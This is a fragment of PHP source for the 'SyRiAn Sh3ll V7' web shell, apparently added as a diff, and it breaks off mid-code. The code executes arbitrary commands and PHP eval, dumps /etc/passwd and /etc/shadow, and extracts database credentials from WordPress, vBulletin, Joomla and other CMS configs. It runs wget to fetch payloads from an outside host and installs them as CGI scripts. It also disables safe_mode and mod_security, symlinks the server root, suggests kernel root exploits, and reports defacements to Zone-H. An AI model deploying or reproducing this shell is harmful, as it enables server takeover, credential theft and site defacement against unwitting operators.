uselib24, loginx','2.4.10'=>'w00t, brk, + +uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace'); + foreach($db as $k=>$x)if(strstr($v,$k))return $x; + if(!$xpl)$xpl='<font color="red">Not found.</font>'; + return $xpl; +} +function PostgreSQL() +{ + if(@function_exists('pg_connect')) + { + $postgreSQL = '<font color="red">ON</font>'; + } + else + { + $postgreSQL = '<font color="green">OFF</font>'; + } + return $postgreSQL; +} +function Oracle() +{ + if(@function_exists('ocilogon')) + { + $oracle = '<font color="red">ON</font>'; + } + else + { + $oracle = '<font color="green">OFF</font>'; + } + return $oracle; +} +function ZoneH($url, $hacker, $hackmode,$reson, $site ) +{ + $k = curl_init(); + curl_setopt($k, CURLOPT_URL, $url); + curl_setopt($k,CURLOPT_POST,true); + curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson); + curl_setopt($k,CURLOPT_FOLLOWLOCATION, true); + curl_setopt($k, CURLOPT_RETURNTRANSFER, true); + $kubra = curl_exec($k); + curl_close($k); + return $kubra; +} +function MsSQL() +{ + if(@function_exists('mssql_connect')) + { + $msSQL = '<font color="red">ON</font>'; + } + else + { + $msSQL = '<font color="green">OFF</font>'; + } + return $msSQL; +} +function MySQL2() +{ + $mysql_try = function_exists('mysql_connect'); + if($mysql_try) + { + $mysql = '<font color="red">ON</font>'; + } + else + { + $mysql = '<font color="green">OFF</font>'; + } + return $mysql; +} +function Gzip() +{ + if (function_exists('gzencode')) + { + $gzip = '<font color="red">ON</font>'; + } + else + { + $gzip = '<font color="green">OFF</font>'; + } + return $gzip; +} +function MysqlI() +{ + if (function_exists('mysqli_connect')) + { + $mysqli = '<font color="red">ON</font>'; + } + else + { + $mysqli = '<font color="green">OFF</font>'; + } + return $mysqli; +} +function MSQL() +{ + if (function_exists('msql_connect')) + { + $mSql = '<font color="red">ON</font>'; + } + else + { + $mSql = '<font color="green">OFF</font>'; + } + return $mSql; +} +function SQlLite() +{ + if (function_exists('sqlite_open')) + { + $SQlLite = '<font color="red">ON</font>'; + } + else + { + $SQlLite = '<font color="green">OFF</font>'; + } + return $SQlLite; +} +function tulis($file,$text) +{ + $textz = gzinflate(base64_decode($text)); + if($filez = @fopen($file,"w")) + { + @fputs($filez,$textz); @fclose($file); + } +} +function RegisterGlobals() +{ + if(ini_get('register_globals')) + { + $registerg= '<font color="red">ON</font>'; + } + else + { + $registerg= '<font color="green">OFF</font>'; + } + return $registerg; +} +function HardSize($size) +{ + if($size >= 1073741824) + { + $size = @round($size / 1073741824 * 100) / 100 . " GB"; + } + elseif($size >= 1048576) + { + $size = @round($size / 1048576 * 100) / 100 . " MB"; + } + elseif($size >= 1024) + { + $size = @round($size / 1024 * 100) / 100 . " KB"; + } + else + { + $size = $size . " B"; + } + return $size; +} +function Curl() +{ + if(extension_loaded('curl')) + { + $curl = '<font color="red">ON</font>'; + } + else + { + $curl = '<font color="green">OFF</font>'; + } + return $curl; +} +function DecryptConfig() +{ + @include("DecryptConfig.php"); + if($_POST['ScriptType'] == 'vb') + { + $dbName = $config['Database']['dbname']; + $prefix = $config['Database']['tableprefix']; + $email = $config['Database']['technicalemail']; + $host = $config['MasterServer']['servername']; + $port = $config['MasterServer']['port']; + $user = $config['MasterServer']['username']; + $pass = $config['MasterServer']['password']; + $admincp = $config['Misc']['admincpdir']; + $modecp = $config['Misc']['modcpdir']; + } + elseif($_POST['ScriptType'] == 'wp') + { + $dbName = DB_NAME; + $prefix = $table_prefix; + $host = DB_HOST; + $user = DB_USER; + $pass = DB_PASS; + } + elseif($_POST['ScriptType'] == 'jos') + { + $dbName = $db; + $prefix = $dbprefix; + $email = $mailfrom; + $host = $host; + $user = $user; + $pass = $password; + } + elseif($_POST['ScriptType'] == 'phpbb') + { + $host = $dbhost; + $port = $dbport; + $dbName = $dbname; + $user = $dbuser; + $pass = $dbpasswd; + $prefix = $table_prefix; + } + elseif($_POST['ScriptType'] == 'ipb') + { + $host = $INFO['sql_host']; + $dbName = $INFO['sql_database']; + $user = $INFO['sql_user']; + $pass = $INFO['sql_pass']; + $prefix = $INFO['sql_tbl_prefix']; + } + elseif($_POST['ScriptType'] == 'smf') + { + $dbName = $db_name; + $pass = $db_passwd; + $prefix = $db_prefix; + $host = $db_server; + $user = $db_user; + $email = $webmaster_email; + } + elseif($_POST['ScriptType'] == 'mybb') + { + $host = $config['database']['hostname']; + $user = $config['database']['username']; + $pass = $config['database']['password']; + $dbName = $config['database']['database']; + $prefix = $config['database']['table_prefix']; + $admincp = $config['admin_dir']; + $prefix = $config['database']['table_prefix']; + } + + echo ' +#-------------------------------# +# Config Informations # +#-------------------------------# +Host : '.$host.' +DB Name : '.$dbName.' +DB User : '.$user.' +DB Pass : '.$pass.' +Prefix : '.$prefix.' +Email : '.$email.' +Port : '.$port.' +ACP : '.$admincp.' +MCP : '.$modecp.' +'; +} +function footer() +{ + echo '<table bgcolor="#cccccc" width="100%"><tr> + <td width="100%" class="style22">[<sy><a href="#top">TOP</a></sy>] + <center><font color="gray" size="-2"><b> + + + </font><font color="gray"></font><font color="#990000"> + </font><font color="gray"></font><font color="#990000"> v7 Features; + </font></b> + </td> + </tr></table> + </tbody></table> + <a name="down"></a> + </body></html> + '; +} +function whereistmP() +{ + $uploadtmp=ini_get('upload_tmp_dir'); + $uf=getenv('USERPROFILE'); + $af=getenv('ALLUSERSPROFILE'); + $se=ini_get('session.save_path'); + $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); + if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; + if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; + if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; + if(is_dir($uf) && is_writable($uf))return $uf; + if(is_dir($af) && is_writable($af))return $af; + if(is_dir($se) && is_writable($se))return $se; + if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; + if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; + return '.'; +} +function winshelL($command) +{ + $name=whereistmP()."\\".uniqid('NJ'); + win_shell_execute('cmd.exe','',"/C $command >\"$name\""); + sleep(1); + $exec=file_get_contents($name); + unlink($name); + return $exec; +} +function update() +{ + echo "[+] Update Has D0n3 ^_^"; +} +function srvshelL($command) +{ + $name=whereistmP()."\\".uniqid('NJ'); + $n=uniqid('NJ'); + $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; + win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); + win32_start_service($n); + win32_stop_service($n); + win32_delete_service($n); + while(!file_exists($name))sleep(1); + $exec=file_get_contents($name); + unlink($name); + return $exec; +} +function ffishelL($command) +{ + $name=whereistmP()."\\".uniqid('NJ'); + $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); + $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0); + while(!file_exists($name))sleep(1); + $exec=file_get_contents($name); + unlink($name); + return $exec; +} +function comshelL($command,$ws) +{ + $exec=$ws->exec("cmd.exe /c $command"); + $so=$exec->StdOut(); + return $so->ReadAll(); +} +function perlshelL($command) +{ + $perl=new perl(); + ob_start(); + $perl->eval("system(\"$command\")"); + $exec=ob_get_contents(); + ob_end_clean(); + return $exec; +} +function Exe($command) +{ + global $windows; + $exec=$output=''; + $dep[]=array('pipe','r');$dep[]=array('pipe','w'); + if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} + elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} + elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;} + elseif(function_exists('shell_exec'))$exec=@shell_exec($command); + elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} + elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec= + +$output;proc_close($res);} + elseif(function_exists('win_shell_execute'))$exec=winshelL($command); + elseif(function_exists('win32_create_service'))$exec=srvshelL($command); + elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command); + elseif(extension_loaded('perl'))$exec=perlshelL($command); + return $exec; +} +function magicQouts() +{ + $mag=get_magic_quotes_gpc(); + if (empty($mag)) + { + $mag = '<font color="green">OFF</font>'; + } + else + { + $mag= '<font color="red">ON</font>'; + } + return $mag; +} +function DisableFunctions() +{ + $disfun = ini_get('disable_functions'); + if (empty($disfun)) + { + $disfun = '<font color="green">NONE</font>'; + } + return $disfun; +} +function SelectCommand($os) +{ + if($os == 'Windows') + { + echo " + <select name=alias > + <option value=''>NONE</option> + <option value='dir' >List Directory</option> + <option value='dir /s /w /b index.php'>Find index.php in current dir</option> + <option value='dir /s /w /b *config*.php'>Find *config*.php in current dir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</option> + <option value='netstat -an'>Show active connections</option> + <option value='net start'>Show running services</option> + <option value='tasklist'>Show Pro</option> + <option value='net user'>User accounts</option> + <option value='net view'>Show computers</option> + <option value='arp -a'>ARP Table</option> + <option value='ipconfig /all'>IP Configuration</option> + <option value='netstat -an'>netstat -an</option> + <option value='systeminfo'>System Informations</option> + <option value='getmac'>Get Mac Address</option> + </select> + "; + } + else + { + echo " + <select name=alias > + <option value=''>NONE</option> + <option value='ls -la'>List dir</option> + <option value='cat /etc/hosts'>IP Addresses</option> + <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option> + <option value='lsattr -va'>list file attributes on a Linux second extended file system</option> + <option value='netstat -an | grep -i listen'>show opened ports</option> + <option value='find / -type f -perm -04000 -ls'>find all suid files</option> + <option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option> + <option value='find / -type f -perm -02000 -ls'>find all sgid files</option> + <option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option> + <option value='find / -type f -name config.inc.php'>find config.inc.php files</option> + <option value='find / -type f -name \"config*\"'>find config* files</option> + <option value='find . -type f -name \"config*\"'>find config* files in current dir</option> + <option value='find / -perm -2 -ls'>find all writable folders and files</option> + <option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option> + <option value='find / -type f -name service.pwd'>find all service.pwd files</option> + <option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option> + <option value='find / -type f -name .htpasswd'>find all .htpasswd files</option> + <option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option> + <option value='find / -type f -name .bash_history'>find all .bash_history files</option> + <option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option> + <option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option> + <option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option> + <option value='locate httpd.conf'>locate httpd.conf files</option> + <option value='locate vhosts.conf'>locate vhosts.conf files</option> + <option value='locate proftpd.conf'>locate proftpd.conf files</option> + <option value='locate psybnc.conf'>locate psybnc.conf files</option> + <option value='locate my.conf'>locate my.conf files</option> + <option value='locate admin.php'>locate admin.php files</option> + <option value='locate cfg.php'>locate cfg.php files</option> + <option value='locate conf.php'>locate conf.php files</option> + <option value='locate config.dat'>locate config.dat files</option> + <option value='locate config.php'>locate config.php files</option> + <option value='locate config.inc'>locate config.inc files</option> + <option value='locate config.inc.php'>locate config.inc.php</option> + <option value='locate config.default.php'>locate config.default.php files</option> + <option value='locate config'>locate config* files </option> + <option value='locate \'.conf\''>locate .conf files</option> + <option value='locate \'.pwd\''>locate .pwd files</option> + <option value='locate \'.sql\''>locate .sql files</option> + <option value='locate \'.htpasswd\''>locate .htpasswd files</option> + <option value='locate \'.bash_history\''>locate .bash_history files</option> + <option value='locate \'.mysql_history\''>locate .mysql_history files</option> + <option value='locate \'.fetchmailrc\''>locate .fetchmailrc files</option> + <option value='locate backup'>locate backup files</option> + <option value='locate dump'>locate dump files</option> + <option value='locate priv'>locate priv files</option> + </select> + "; + } +} +function GenerateFile($name,$content) +{ + $file = @fopen($name,"w+"); + @fwrite($file,$content); + @fclose($file); + return true; +} +function which($pr) +{ + $path = Exe("which $pr"); + if(!empty($path)) + { + return trim($path); + } + else + { + return trim($pr); + } +} +function checkfunctioN($func) +{ + global $disablefunctions,$safemode; + $safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open'); + if($safemode=='ON' && in_array($func,$safe))return 0; + elseif(function_exists($func) && is_callable($func) && !strstr($disablefunctions,$func))return 1; + return 0; +} +function CSS($shellColor) +{ + + $css = " + <html dir=rtl> + <head> + <title>SyRiAn Sh3ll ~ V7~ [ B3 Cr34T!V3 Or D!3 TRy!nG ]</title> + <link rel=\"shortcut icon\" href='http://syrian-shell.com/title.gif' /> + <meta http-equiv=Content-Type content=text/html; charset=windows-1256> + <style> + BODY + { + FONT-FAMILY: Verdana; + margin: 2; + color: #cccccc; + background-color: #000000; + } + sy + { + color:".$shellColor."; + font-size:7pt; + font-weight: bold; + } + #Box + { + color:".$shellColor."; + font-size:14px; + background-color:#000; + font-weight:bold; + } + tr + { + BORDER-RIGHT: #cccccc 1px solid; + BORDER-TOP: #cccccc 1px solid; + BORDER-LEFT: #cccccc 1px solid; + BORDER-BOTTOM: #cccccc 1px solid; + color: #ffffff; + } + td + { + BORDER-RIGHT: #cccccc 1px solid; + BORDER-TOP: #cccccc 1px solid; + BORDER-LEFT: #cccccc 1px solid; + BORDER-BOTTOM: #cccccc 1px solid; + color: #cccccc; + } + .table1 + { + BORDER: 1px none; + BACKGROUND-COLOR: #000000; + color: #333333 + } + .td1 + { + BORDER: 1px none; + color: #ffffff; font-style:normal; + font-variant:normal; + font-weight:normal; + font-size:7pt; + font-family:tahoma + } + .tr1 + { + BORDER: 1px none; + color: #cccccc; + } + table + { + BORDER: #eeeeee outset; + BACKGROUND-COLOR: #000000; + color: #cccccc; + } + input + { + BORDER-RIGHT: ".$shellColor." 1px solid; + BORDER-TOP: ".$shellColor." 1px solid; + BORDER-LEFT: ".$shellColor." 1px solid; + BORDER-BOTTOM: ".$shellColor." 1px solid; + BACKGROUND-COLOR: #333333; + font: 9pt tahoma; + color: #ffffff; + } + select + { + BORDER-RIGHT: #ffffff 1px solid; + BORDER-TOP: #999999 1px solid; + BORDER-LEFT: #999999 1px solid; + BORDER-BOTTOM: #ffffff 1px solid; + BACKGROUND-COLOR: #000000; + font: 9pt tahoma; + color: #CCCCCC;; + } + submit + { + BORDER: 1px outset buttonhighlight; + BACKGROUND-COLOR: #272727; + width: 40%; + color: #cccccc; + } + textarea + { + BORDER-RIGHT: #ffffff 1px solid; + BORDER-TOP: #999999 1px solid; + BORDER-LEFT: #999999 1px solid; + BORDER-BOTTOM: #ffffff 1px solid; + BACKGROUND-COLOR: #333333; + color: #ffffff; + } + A:link {COLOR:".$shellColor."; TEXT-DECORATION: none} + A:visited { COLOR:".$shellColor."; TEXT-DECORATION: none} + A:active {COLOR:".$shellColor."; TEXT-DECORATION: none} + A:hover {color:blue;TEXT-DECORATION: none} + </style> + <script> + function Suicide() + { + var confimrSuicide = confirm('Are You Sure You Wanna Delete the Shell ?'); + if(confimrSuicide == true) + { + document.location='".currentFileName()."?id=Delete'; + } + else {document.location='".currentFileName()."';} + } + </script> + </head>"; + if($_GET['id'] == '') + { + $css .= "<script>window.location = '?id=mainPage';</script>"; + } + return $css; +} +function Logout() +{ + print"<script> + document.cookie='user='; + document.cookie='pass='; + var url = window.location.pathname; + var filename = url.substring(url.lastIndexOf('/')+1); + window.location=filename; + </script>"; +} + +function About() +{ + $about = " +<table bgcolor=#cccccc width=\"100%\"> +<tbody><tr><td width=1025> +<div align=center><img src='http://www.syrian-shell.com/eagle.jpg'><br> +</div> +<sy><div align=center>Coded By : EH << SyRiAn | 34G13</div></sy> +<sy><div align=center>From </font>: SyRiAn Arabic Republic </div></sy> +<sy><div align=center>Age : 4/1991<br></div></sy> +<sy><div align=center>Thanx : [ Allah ] [ HaniWT ] [ SyRiAn_SnIpEr ] [ SyRiAn_SpIdEr ] [ TNT Hacker ]</div></sy> +<sy><div align=center>Thanx : my school : [ www.google.com ] :)</div></sy> +<sy><br><div align=center>B3 Cr34T!V3 0R D!3 TRy!nG </div></sy> +<br/> +<center> +<br/> +<form method='POST'> +<input type='text' name='from' value='yourEmail@example.com' size='40'/><br/> +<textarea name='message' cols='25' rows='10'>Please Report Us Bugs Or suggestions .</textarea><br/> +<input type='submit' value='Submit' name='sendEmail' /> +</form></center> +</td></tr></tbody></table>"; +return $about; +} +echo CSS($shellColor); +# ---------------------------------------# +# Authentication # +#----------------------------------------# +if ($uselogin ==1) +{ + if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) + { + if($_POST[usrname]==$user && $_POST[passwrd]==$pass) + { + print'<script>document.cookie="user='.$_POST[usrname].';";document.cookie="pass='.md5($_POST[passwrd]).';";</script>'; + } + else + { + if($_POST['usrname']) + { + print'<script>alert("Go and play in the street man !!");</script>'; + } + echo ' + <body bgcolor="black"><br><br> + <center><font color=#990000 size=5><b>SyRi</b></font><font color=green size=5><b>An Sh</b></font><font color=gray size=5><b>3ll</b></font><br> + + <img src="http://www.syrian-shell.com/eagle.jpg"> + </center> + <div align="center"> + <form method="POST" onsubmit="if(this.usrname.value==\'\'){return false;}"> + <input dir="ltr" name="usrname" value="userName" type="text" size="30" onfocus="if (this.value == \'UserName\'){this.value = \'\';}"/><br> + <input dir="ltr" name="passwrd" value="password" type="password" size="30" onfocus="if (this.value == \'PassWord\') this.value = \'\';" /><br> + <input type="submit" value=" Login " name="login" /> + </form></p>'; + exit; + } + } +} +# ---------------------------------------# +# Some Info # +#----------------------------------------# +$dir = getcwd(); +$uname= @php_uname(); +if(strlen($dir)>1 && $dir[1]==":") +$os = "Windows"; +else $os = "Linux"; +$serverIP = gethostbyname($_SERVER["HTTP_HOST"]); +$server = @substr($SERVER_SOFTWARE,0,120); + +echo " +<body dir=\"ltr\"><table bgcolor=#cccccc cellpadding=0 cellspacing=0 width=\"100%\"><tbody><tr><td bgcolor=#000000 width=160> +<p dir=ltr>&nbsp;&nbsp;</p> +<div dir=ltr align=center><font size=4><b> +<img border=0 src=http://www.library-ar.com/cache/eagle.jpg width=101 height=93>&nbsp;</b></font><div +dir=ltr align=center><span style=height: 25px;><b> +<font size=4 color=#FF0000>SyRi</font><font size=4 color=#008000>An Sh</font><font size=4 color=#999999>3ll<br>V7</font></b><span style=font-size: 20pt; color: + +#990000><p></p></span></span></div></td><td +bgcolor=#000000> +<p dir=ltr><font size=1>&nbsp; <b>[<a href=?id=mainPage>Main</a>]</b></span> +<font color=black></span></font><b>[</span><a href=?id=scriptsHack>Forum Defacer</a>]</b></span> +<b>[</span><a href=?id=spamming>Email Spammer</a>]</b></span> +<b>[</span><a href=?id=about>About</a>]</b></span> +<b>[</span><a href=?id=logout>Logout</a>]</b></span> +<b>[</span><a href=?id=100>SuiCide</a>]</b></span> +<br> +<font size=1><br> +&nbsp; Safe Mode = <sy>".@SafeMode()." </sy><font size=1> +&nbsp; System = <sy>".$os."</sy> +&nbsp; Magic_Quotes = <sy>". @magicQouts()." </sy> +&nbsp; Curl = <sy>".@Curl()." </sy> +&nbsp; Register Globals = <sy>".@RegisterGlobals()." </sy> +&nbsp; Open Basedir = <sy>".@openBaseDir()." </sy> +<br> +&nbsp; Gzip = <sy>".@Gzip()."</sy> +&nbsp; MySQLI = <sy>".@MysqlI()." </sy> +&nbsp; MSQL = <sy>".@MSQL()."</sy> +&nbsp; SQL Lite = <sy>".@SQlLite()."</sy> +&nbsp; Usefull Locals = <sy>".rootxpL()." </sy> +<br> +&nbsp; Free Space = <sy>".@HardSize(disk_free_space('/'))." </sy> +&nbsp; Total Space = <sy>".@HardSize(disk_total_space("/"))." </sy> +&nbsp; PHP Version = <sy>".@phpversion()." </sy> +&nbsp; Zend Version = <sy>".@zend_version()." </sy> +&nbsp; MySQL Version = <sy>".@mysql_get_server_info()." </sy> +<br> +&nbsp; MySQL = ".MySQL2()." +&nbsp; MsSQL = ".MsSQL()." +&nbsp; PostgreSQL = ".PostgreSQL()." +&nbsp; Oracle = ".Oracle()." +&nbsp; Server Name = <sy>".$_SERVER['HTTP_HOST']." </sy> +&nbsp; Server Admin = <sy>".$_SERVER['SERVER_ADMIN']." </sy> +<br> +&nbsp; Dis_Functions = <sy>". DisableFunctions()." </sy><br> +&nbsp; Your IP = <sy>".GetRealIP()." </sy> +&nbsp; Server IP = <sy><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">".gethostbyname($_SERVER["HTTP_HOST"])." + +</sy></a> +[</span><a href=http://www.yougetsignal.com/tools/web-sites-on-web-server target=\"_blank\"/>Reverse IP</a>]</span> +&nbsp; Date Time = <sy>".date('Y-m-d H:i:s')." </sy><br/> +&nbsp; +[<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>] +[<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>] +[<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>] +<br> +<br> +<table bgcolor=#cccccc width=\"100%\"><tbody><tr> +<td align=right width=100><p dir=ltr> +<sy>&nbsp;&nbsp;Server :&nbsp;&nbsp; <br> +<b>uname -a : &nbsp; +<br>pwd : </span>&nbsp;<br>ID : </span>&nbsp;<br></b></sy></td><td> +<p dir=ltr><font color=#cccccc size=-2><b> &nbsp;&nbsp;".$server." +<br>&nbsp;&nbsp;".$uname." <sy><a href=http://www.google.com/search?q=".urlencode(@php_uname())." target=_blank>[Google]</a></sy><br>&nbsp;&nbsp;". + +$dir."<br>&nbsp;&nbsp;".Exe('id')."</b> +</font></td></tr></tbody> +</table> +&nbsp;&nbsp;[<a href='#down'>Down</a>] + [<a href='javascript:window.print()'>Print</a>] +</table>"; + +# ---------------------------------------# +# Main Page # +#----------------------------------------# +if ($_GET['id']== 'mainPage') +{ + echo "<form method='post'><table width=100% border=1><tr><td> + <textarea name='ExecutionArea' rows=10 cols=152 style='color=red'>"; + + if(!$_POST || $_POST['login']) // Show Current Directory Contents if No Post in requesting ... + { + @chdir($_POST['directory']); + if($os == "Windows") + { + echo Exe('dir'); + } + else if($os == "Linux") + { + echo Exe('ls'); + } + } + else if($_POST['submitCommands']) // Execute The Alias Command . + { + echo Exe($_POST['alias']); + } + else if($_POST['Execute']) // Execute The Command From Command Line . + { + @chdir($_POST['directory']); + if(empty($_POST['cmd'])) + { + if($os == "Windows") + { + echo Exe('dir'); + } + else if($os == "Linux") + { + echo Exe('ls -lia'); + } + } + else + { + echo Exe($_POST['cmd']); + } + } + else if($_POST['submitEval']) // Execute Eval Code . + { + $eval = @str_replace("<?php","",$_POST['php_eval']); + $eval = @str_replace("<?php","",$eval); + $eval = @str_replace("?>","",$eval); + $eval = @str_replace("\\","",$eval); + echo eval($eval); + } + # -------------------------- + # Hash Analyzer + #--------------------------- + else if($_POST['analyzieNow']) + { + $hash = $_POST['hashToAnalyze']; + $subHash = substr($hash,0,3); + if($subHash =='$ap' && strlen($hash) == 37) + { + echo "The Hash : ".$hash." is : MD5(APR) Hash"; + } + else if($subHash =='$1$' && strlen($hash) == 34) + { + echo "The Hash : ".$hash." is : MD5(UNIX) Hash"; + } + else if($subHash =='$H$' && strlen($hash) == 35) + { + echo "The Hash : ".$hash." is : MD5(phpBB3) Hash"; + } + else if(strlen($hash) == 29) + { + echo "The Hash : ".$hash." is : MD5(Wordpress) Hash"; + } + else if($subHash =='$5$' && strlen($hash) == 64) + { + echo "The Hash : ".$hash." is : SHA256(UNIX) Hash"; + } + else if($subHash =='$6$' && strlen($hash) == 128) + { + echo "The Hash : ".$hash." is : SHA512(UNIX) Hash"; + } + else if(strlen($hash) == 56) + { + echo "The Hash : ".$hash." is : SHA224 Hash"; + } + else if(strlen($hash) == 64) + { + echo "The Hash : ".$hash." is : SHA256 Hash"; + } + else if(strlen($hash) == 96) + { + echo "The Hash : ".$hash." is : SHA384 Hash"; + } + else if(strlen($hash) == 128) + { + echo "The Hash : ".$hash." is : SHA512 Hash"; + } + else if(strlen($hash) == 40) + { + echo "The Hash : ".$hash." is : MySQL v5.x Hash"; + } + else if(strlen($hash) == 16) + { + echo "The Hash : ".$hash." is : MySQL Hash"; + } + else if(strlen($hash) == 13) + { + echo "The Hash : ".$hash." is : DES(Unix) Hash"; + } + else if(strlen($hash) == 32) + { + echo "The Hash : ".$hash." is : MD5 Hash"; + } + else if(strlen($hash) == 4) + { + echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";} + else + { + echo "Error : Can't Detect Hash Type"; + } + } + # -------------------------- + # Show Users + #--------------------------- + else if($_POST['showUsers']) + { + function showUsers() + { + + if($rows = Exe('cat /etc/passwd')) + { + echo $rows; + } + elseif($rows= Exe('cat /etc/domainalias')) + { + echo $rows; + } + elseif($rows= Exe('cat /etc/shadow')) + { + echo $rows; + } + elseif($rows= Exe('cat /var/mail')) + { + echo $rows; + } + elseif($rows= Exe('cat /etc/valiases')) + { + echo $rows; + } + else { echo "[-] Can't Show Users :( ... Sorry ";} + } + showUsers(); + } + # -------------------------- + # Generate perl + #--------------------------- + else if($_POST['generatePel']) + { + @chdir($_POST["cgiperlPath"]); + @mkdir("cgi", 0755); + @chdir("cgi"); + Exe('wget http://www.syrian-shell.com/cgiPerl/cgiPerl.sy3.zip'); + Exe('unzip cgiPerl.sy3.zip'); + @unlink('cgiPerl.sy3.zip'); + @chmod("cgiPerl.sy3",0755); + @chmod("compiler",0777); + $cgi_h = fopen('.htaccess','w+'); + @fwrite($cgi_h,'AddHandler cgi-script .sy3'); + echo ' +cgi.sy3 & .htaccess Has Been Created in [ cgi ] Directory +Password Is : sy34' ; + } + # -------------------------- + # Generate Server + #--------------------------- + else if($_POST['generateSER']) + { + @chdir($_POST['ShourtCutPath']); + @mkdir("allserver", 0755); + @chdir("allserver"); + Exe("ln -s / allserver"); + GenerateFile(".htaccess"," + Options Indexes FollowSymLinks + DirectoryIndex ssssss.htm + AddType txt .php + AddHandler txt .php"); + echo 'Now Go to allserver folder '.$_POST['ShourtCutPath'].'' ; + } + # -------------------------- + # Change Mode + #--------------------------- + else if($_POST['changePermission']) + { + $ch_ok = @chmod($_POST['fileName'],$_POST['per']); + if($ch_ok) + echo "Permission Changed Successfully ! " ; + else echo "Changing Is Not Allowed Or The File is not Exist !"; + } + # -------------------------- + # Generate Users + #--------------------------- + else if($_POST['GenerateUsers']) + { + @chdir($_POST['usersPath']); + @mkdir("users", 0755); + @chdir('users'); + Exe('wget http://www.syrian-shell.com/usersAndDomains/users.rar'); + Exe('mv users.rar users.sy3'); + @chmod('users.sy3',0755 ); + $user_h = fopen('.htaccess','w+'); + fwrite($user_h,'AddHandler cgi-script .sy3'); + echo "users.sy3 & .htaccess Has Been Created in [ users ] Directory" ; + } + # -------------------------- + # Forbidden + #--------------------------- + else if($_POST['generateForbidden']) + { + @chdir($_POST['forbiddenPath']); + @mkdir('forbidden'); + @chdir('forbidden'); + $htaccess = fopen('.htaccess','w+'); + if($_POST['403'] == 'DirectoryIndex') + { + fwrite($htaccess,"DirectoryIndex in.txt"); + } + elseif($_POST['403'] == 'HeaderName') + { + fwrite($htaccess,"HeaderName in.txt"); + } + elseif($_POST['403'] == 'TXT') + { + fwrite($htaccess," + Options Indexes FollowSymLinks + addType txt .php + AddHandler txt .php"); + } + elseif($_POST['403'] == '404') + { + fwrite($htaccess," + ErrorDocument 404 /404.html + 404.html = Symlinked in.txt "); + } + elseif($_POST['403'] == 'ReadmeName') + { + fwrite($htaccess,"ReadmeName in.txt"); + } + elseif($_POST['403'] == 'footerName') + { + fwrite($htaccess,"footerName in.txt"); + } + echo " +Now Go To [ forbidden ] Dir And Then make The Shortcut [ in.txt ] +EX : ln -s /home/user/public_html/config.php in.txt"; + } + # -------------------------- + # Upload Files + #--------------------------- + else if($_POST['UploadNow']) + { + $nbr_uploaded =0; + $files_uploded = array(); + $path= ''; + $target_path= $path . basename($_FILES['uploadfile']['name'][$i]); + for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) + { + if($_FILES['uploadfile']['name'][$i] != '') + { + move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $target_path . $_FILES['uploadfile']['name'][$i]); + $files_uploded[] = $_FILES['uploadfile']['name'][$i]; + $nbr_uploaded++; + echo "The File ".basename($_FILES['uploadfile']['name'][$i])." Uploaded Successfully ! +"; + } + else "The File ".basename($_FILES['uploadfile']['name'][$i])." Can't Be Upload :( !"; + } + } + # -------------------------- + # no Security + #--------------------------- + else if($_POST['phpiniGenerate']) + { + GenerateFile("php.ini"," + safe_mode = Off + disable_functions = NONE + safe_mode_gid = OFF + open_basedir = OFF"); + echo "php.ini Has Been Generated Successfully"; + } + else if($_POST['htaccessGenerate']) + { + GenerateFile(".htaccess"," + <IfModule mod_security.c> + SecFilterEngine Off + SecFilterScanPOST Off + SecFilterCheckURLEncoding Off + SecFilterCheckCookieFormat Off + SecFilterCheckUnicodeEncoding Off + SecFilterNormalizeCookies Off + </IfModule> + SetEnv PHPRC ".getcwd()."php.ini + suPHP_ConfigPath ".getcwd()."php.ini + "); + echo ".htaccess Has Been Generated Successfully "; + } + else if($_POST['iniphpGenerate']) + { + 